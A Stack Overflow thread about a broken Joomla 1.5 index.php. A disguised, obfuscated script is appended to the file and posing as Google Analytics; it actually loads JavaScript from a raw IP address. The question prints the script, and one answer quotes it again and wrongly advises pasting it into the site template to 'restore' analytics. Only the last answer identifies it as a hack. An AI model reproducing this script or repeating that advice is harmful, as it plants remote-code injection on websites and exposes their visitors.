0

Newb here trying to fix my php code. Getting an error at line 89.

<?php
/**
* @version      $Id: index.php 10381 2008-06-01 03:35:53Z pasamio $
* @package      Joomla
* @copyright    Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license      GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Set flag that this is a parent file
define( '_JEXEC', 1 );

define('JPATH_BASE', dirname(__FILE__) );

define( 'DS', DIRECTORY_SEPARATOR );

require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );

JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;

/**
* CREATE THE APPLICATION
*
* NOTE :
*/
$mainframe =& JFactory::getApplication('site');

/**
* INITIALISE THE APPLICATION
*
* NOTE :
*/
// set the language
$mainframe->initialise();

JPluginHelper::importPlugin('system');

// trigger the onAfterInitialise events
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
$mainframe->triggerEvent('onAfterInitialise');

/**
* ROUTE THE APPLICATION
*
* NOTE :
*/
$mainframe->route();

// authorization
$Itemid = JRequest::getInt( 'Itemid');
$mainframe->authorize($Itemid);

// trigger the onAfterRoute events
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
$mainframe->triggerEvent('onAfterRoute');

/**
* DISPATCH THE APPLICATION
*
* NOTE :
*/
$option = JRequest::getCmd('option');
$mainframe->dispatch($option);

// trigger the onAfterDispatch events
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
$mainframe->triggerEvent('onAfterDispatch');

/**
* RENDER  THE APPLICATION
*
* NOTE :
*/
$mainframe->render();

// trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark('afterRender') : null;
$mainframe->triggerEvent('onAfterRender');

/**
* RETURN THE RESPONSE
*/
echo JResponse::toString($mainframe->getCfg('gzip'));
<?php echo '<script type="text/javascript">var gaJsHost = (("https:" ==      document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' "   +   '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&  6!@!#^5(@#!.!&$1@#4)8#&  /($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "'   type='text/javascript'%3E%3C     /script%3E"));
</script>
try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>'; ?>
Dinah
  • 52,922
  • 30
  • 133
  • 149
  • 1
    Uhh. Could you please reformat your source code and give us the complete error message? Which file in the Joomla/modul package are you editing? Which line is line "89" in this cutout? – merkuro Jun 14 '09 at 08:08
  • Don’t abuse the conditional operator. You should rather use `if` for better readability. – Gumbo Oct 03 '09 at 13:16

3 Answers3

2

Just found the file in the Joomla 1.5 package. It's the index.php in the root directory. Since this file only consists of 89 lines and it's proven to work, it's not a problem with joomla itself.

Like suggested above cut everything after line 89 and restore the file to its original layout. If unsure just load the latest Joomla 1.5 installation and take the included "index.php" file. Btw. it is unwise to return any content in clear text after it has possibly already returned gzipped by Joomla and the body tag is already closed.

How to restore Google analytics functionality? Lookup your currently used template, open the "index.php" file and add the following just before the body tag is closed:

<script type="text/javascript">var gaJsHost = (("https:" ==      document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' "   +   '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&  6!@!#^5(@#!.!&$1@#4)8#&  /($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "'   type='text/javascript'%3E%3C     /script%3E"));

try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>
merkuro
  • 6,161
  • 2
  • 27
  • 29
1

You're starting another <?php section without ending the previous one.

Why are you opening a new <?php section in the first place? You're already in one. Just remove the <?php part on line 89 and I suspect it'll be fine - at least syntactically.

To be clear, you've currently got:

<?php
stuff
<?php
more stuff
?>

You want:

<?php
stuff
more stuff
?>
Jon Skeet
  • 1,421,763
  • 867
  • 9,128
  • 9,194
  • Someone else handles my backend and site is down. I'm trying to fix this to get it up and running but have zero php skill. Any help would be awesome. –  Jun 14 '09 at 08:15
  • 2
    I have zero php skill as well, but the error message seems reasonable clear in this case. – Jon Skeet Jun 14 '09 at 08:16
  • I would also add that a better solution may well be just to roll back to an earlier working version. Fixing someone else's broken change without knowing what they were trying to do is probably a bad idea. – Jon Skeet Jun 14 '09 at 08:17
  • 2
    If you cannot find any solution, you can safely remove everything after this line "echo JResponse::toString($mainframe->getCfg('gzip')); ". You will lose google analytics support temporary, but you will get your site back online. Btw. never edit ANY Joomla files directly, because these changes will be overwritten by the next update. Instead try to do this kind of work in your templates. – merkuro Jun 14 '09 at 08:20
  • Thanks. Just trying to get the site live again and then will let others figure out tomorrow what was done or done wrong. It just seemed to happen. Thanks for the pointers –  Jun 14 '09 at 08:20
  • buy that man a beer.... thanks merkuro... Site online again..... –  Jun 14 '09 at 08:22
  • thanks again guys. Clipped out that portion below echo and the site is live again. Have saved that code to be looked at. –  Jun 14 '09 at 08:23
  • @merkuro: It's probably worth you posting your comment as an answer, so it can be upvoted and accepted. – Jon Skeet Jun 14 '09 at 08:25
  • It's probably because silly people keep telling newbies to "avoid writing `?>`", without explaining themselves properly. – Lightness Races in Orbit Feb 16 '12 at 16:56
0

I Think this is some type of hack search the web more, i found this had happen to my site sunday morning around 9am, didn't catch it until that night as i take sundays off. I looked at my php log and found it was inserted in just about every index.php file i had. I did a full restore from the night before. and changed ALL my passwords that have any access to anything. I site i was reading (google translated German site) i think mentioned that it was sending info back to somewhere in Ukraine, but i can not confirm this. All i know is i didn't put it in and it was in over 20 pages. lucky it took my site down so i had to find out why.

Please post what version of joomla and other components you are using.